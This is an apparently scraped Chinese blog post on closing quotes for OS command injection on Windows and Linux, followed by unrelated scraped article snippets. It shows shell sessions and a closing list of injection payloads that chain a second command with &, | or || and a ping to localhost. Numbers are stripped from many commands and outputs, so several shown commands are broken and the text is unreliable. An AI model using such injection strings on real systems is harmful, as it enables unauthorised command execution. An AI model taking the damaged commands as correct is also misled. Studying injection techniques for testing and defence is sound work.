关于OS命令注入的闭合问题
1、在Windows下
windows下非常好办,只需要&肯定可以执行:
C:\Users\xxx\Desktop>aaaa | ping -n 127.0.0.1
'aaaa' 不是内部或外部命令,也不是可运行的程序
或批处理文件。 C:\Users\xxx\Desktop>C:\Users\chenran01.ESG\Desktop\test.bat C:\Users\xxx\Desktop>aaaa' | ping -n 5 127.0.0.1
'aaaa'' 不是内部或外部命令,也不是可运行的程序
或批处理文件。 C:\Users\xxx\Desktop>C:\Users\chenran01.ESG\Desktop\test.bat C:\Users\xxx\Desktop>aaaa' & ping -n 5 127.0.0.1
'aaaa'' 不是内部或外部命令,也不是可运行的程序
或批处理文件。 正在 Ping 127.0.0.1 具有 字节的数据:
来自 127.0.0.1 的回复: 字节= 时间<1ms TTL=
来自 127.0.0.1 的回复: 字节= 时间<1ms TTL=
来自 127.0.0.1 的回复: 字节= 时间<1ms TTL=
来自 127.0.0.1 的回复: 字节= 时间<1ms TTL=
来自 127.0.0.1 的回复: 字节= 时间<1ms TTL= 127.0.0.1 的 Ping 统计信息:
数据包: 已发送 = ,已接收 = ,丢失 = (% 丢失),
往返行程的估计时间(以毫秒为单位):
最短 = 0ms,最长 = 0ms,平均 = 0ms C:\Users\xxx\Desktop>
或者把&换成||上文中的例子也可以执行。
2、在Linux下:
在Linux下就显得复杂一些了
先来看一个可以执行的例子:
$ 'aaaa'|ping -c 127.0.0.1 # ''
-bash: aaaa: command not found
PING 127.0.0.1 (127.0.0.1) () bytes of data.
bytes from 127.0.0.1: icmp_seq= ttl= time=0.042 ms
bytes from 127.0.0.1: icmp_seq= ttl= time=0.072 ms
bytes from 127.0.0.1: icmp_seq= ttl= time=0.068 ms
bytes from 127.0.0.1: icmp_seq= ttl= time=0.054 ms
# ' 来闭合最后的'从而达到了命令注入执行,如果去掉#就发现不行了
$ 'aaaa|ping -c 4 127.0.0.1 ''
>
类似的这种需要闭合前面的'
$ 'aaaa'|ping -c 127.0.0.1
-bash: aaaa: command not found
PING 127.0.0.1 (127.0.0.1) () bytes of data.
bytes from 127.0.0.1: icmp_seq= ttl= time=0.063 ms
bytes from 127.0.0.1: icmp_seq= ttl= time=0.072 ms
bytes from 127.0.0.1: icmp_seq= ttl= time=0.066 ms
bytes from 127.0.0.1: icmp_seq= ttl= time=0.062 ms --- 127.0.0.1 ping statistics ---
packets transmitted, received, % packet loss, time 3000ms
rtt min/avg/max/mdev = 0.062/0.065/0.072/0.010 ms
$ 'aaaa|ping -c 4 127.0.0.1
>
上面是使用|的一些例子,下面来看看&
$ 'aaa'&ping -c 127.0.0.1
[]
-bash: aaa: command not found
PING 127.0.0.1 (127.0.0.1) () bytes of data.
bytes from 127.0.0.1: icmp_seq= ttl= time=0.066 ms
bytes from 127.0.0.1: icmp_seq= ttl= time=0.069 ms
bytes from 127.0.0.1: icmp_seq= ttl= time=0.057 ms
bytes from 127.0.0.1: icmp_seq= ttl= time=0.067 ms --- 127.0.0.1 ping statistics ---
packets transmitted, received, % packet loss, time 2999ms
rtt min/avg/max/mdev = 0.057/0.064/0.069/0.010 ms
[]+ Exit 'aaa'
$
综上闭合OS执行的payload只需:
#windows:
'aaa&ping 127.0.0.1&'
'aaa||ping 127.0.0.1||'
#linux下:
'aaa'&ping -c 127.0.0.1
'aaa'|ping -c 127.0.0.1
'aaa'|ping -c 127.0.0.1# ''
关于OS命令注入的闭合问题的更多相关文章
- 网络安全学习阶段性总结:SQL注入|SSRF攻击|OS命令注入|身份验证漏洞|事物逻辑漏洞|目录遍历漏洞
目录 SQL注入 什么是SQL注入? 掌握SQL注入之前需要了解的知识点 SQL注入情况流程分析 有完整的回显报错(最简单的情况)--检索数据: 在HTTP报文中利用注释---危险操作 检索隐藏数据: ...
- OS命令注入
SSL http://kb.cnblogs.com/page/162080/ http://baike.baidu.com/link?url=jPitKuDw_ncDlMbOc1SkWzM9TuKX9 ...
- 跟bWAPP学WEB安全(PHP代码)--OS命令注入
背景 这是温故知新的一个系列,也是重新拾起WEB安全的一个系列,同时希望能稍微有点对初学者的帮助.第一篇先来讲讲OS命令注入 bWAPP里面有两个页面也就是两个漏洞,来验证OS命令注入.一个是有回显的 ...
- WEB安全番外第五篇--关于使用通配符进行OS命令注入绕WAF
一.通配符简介: 一般来讲,通配符包含*和?,都是英文符号,*用来匹配任意个任意字符,?用来匹配一个任意字符. 举个例子使用通配符查看文件,可以很名下看到打卡的文件是/etc/resolv.conf: ...
- OS命令注入中的空格
1.bash 空格可以替换为%20.%09(tab).%2b(+) in url.{IFS} 2.Win shell 空格可以替换为%20.%09(tab).%0b.%0c.%2b(+) in url
- WEB安全第一篇--对服务器的致命一击:代码与命令注入
零.前言 最近做专心web安全有一段时间了,但是目测后面的活会有些复杂,涉及到更多的中间件.底层安全.漏洞研究与安全建设等越来越复杂的东东,所以在这里想写一个系列关于web安全基础以及一些讨巧的pay ...
- Commix命令注入漏洞利用
介绍 项目地址:https://github.com/stasinopoulos/commix Commix是一个使用Python开发的漏洞测试工具,这个工具是为了方便的检测一个请求是否存在命令注入漏 ...
- dvwa——命令注入&文件包含
命令注入 commond_injection 源码.分析.payload: low: <?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input ...
- commix 命令注入工具
关于系统命令注入,可以参考这篇文章:命令攻击介绍 系统命令注入场景 在对企业进行安全测试时候,很少会发现系统注入漏洞.这是因为大部分情况下代码业务主要是数据操作.文件操作.逻辑处理和api接口调用等, ...
随机推荐
- Iconfont在移动端遇到问题的探讨
Iconfont越来越得到前端的关注,特别是阿里那个iconfont库的推出和不断完善,再加上连IE6都能兼容,的确是个好东西. 既然那么火,我们公司移动项目也计划加入这个iconfont,于是我就针 ...
- eclipse安装中文补丁包
第一步:打开http://www.eclipse.org/babel/ 第二步:找到downloads. 第三步:点击Oxygen. 第四步:找到简体中文的zip插件并兵下载. 第五步:解压. 第六步 ...
- java-自动登录 与 记住用户名
步骤分析: 步骤分析: 1.数据库和表 create database day16; use day16; create table user( id int primary key auto_inc ...
- VMware 14 Pro 安装 CentOS 7
今年准备好好学习一下.NET CORE了,那也是得学习Linux.然后又得学习更多,咬着牙干吧... 1.Vmware虚拟机安装 在windows平台,首先咱们得先安装Vmware虚拟机,步骤省略,一 ...
- linux ffmpeg编译配置安装详解
http://www.111cn.net/sys/linux/53039.htm ffmpeg是一开源的可跨平台使用的一个图形处理插件,这可以进行录制.转换以及流化音视频,同时可以对视频进行截图,下面 ...
- 【Java NIO的深入研究1】缓冲区
缓冲区 传统的流和通道的对比 流 通道 慢 快 处理简单 处理复杂 单字节的传输 一块数据的传输 - Java.io.*已经重新写过 - 是对流的模拟 单向的 双向的 可直接访问 必须通过Buffer ...
- PHP curl_setopt函数用法介绍上篇
最近,学习与实践了php中curl的知识点.在此做个初步的总结: 先看看对于它的基本介绍: curl_setopt函数是php中一个重要的函数,它可以模仿用户的一些行为,如模仿用户登录,注册等等一些用 ...
- mysql 5.7 详细图文安装教程
官网下载太慢,可以上下载频道下载(mysql-installer-community-5.7.13.0.msi): http://download.csdn.net/download/tan3739/ ...
- 【C++基础 05】友元函数和友元类
友元是一种定义在类外部的普通函数或类,但它须要在类体内进行说明,为了与该类的成员函数加以差别,在说明时前面加以keywordfriend. 友元不是成员函数,可是它能够訪问类中的私有成员. 友元的作用 ...
- ojdbc14.jar 放在kettle那个目录下面
\libext\edtftpj-1.4.5.jar \libext\firebirdsql-full.jar \libext\firebirdsql.jar \libext\gis-shape.jar ...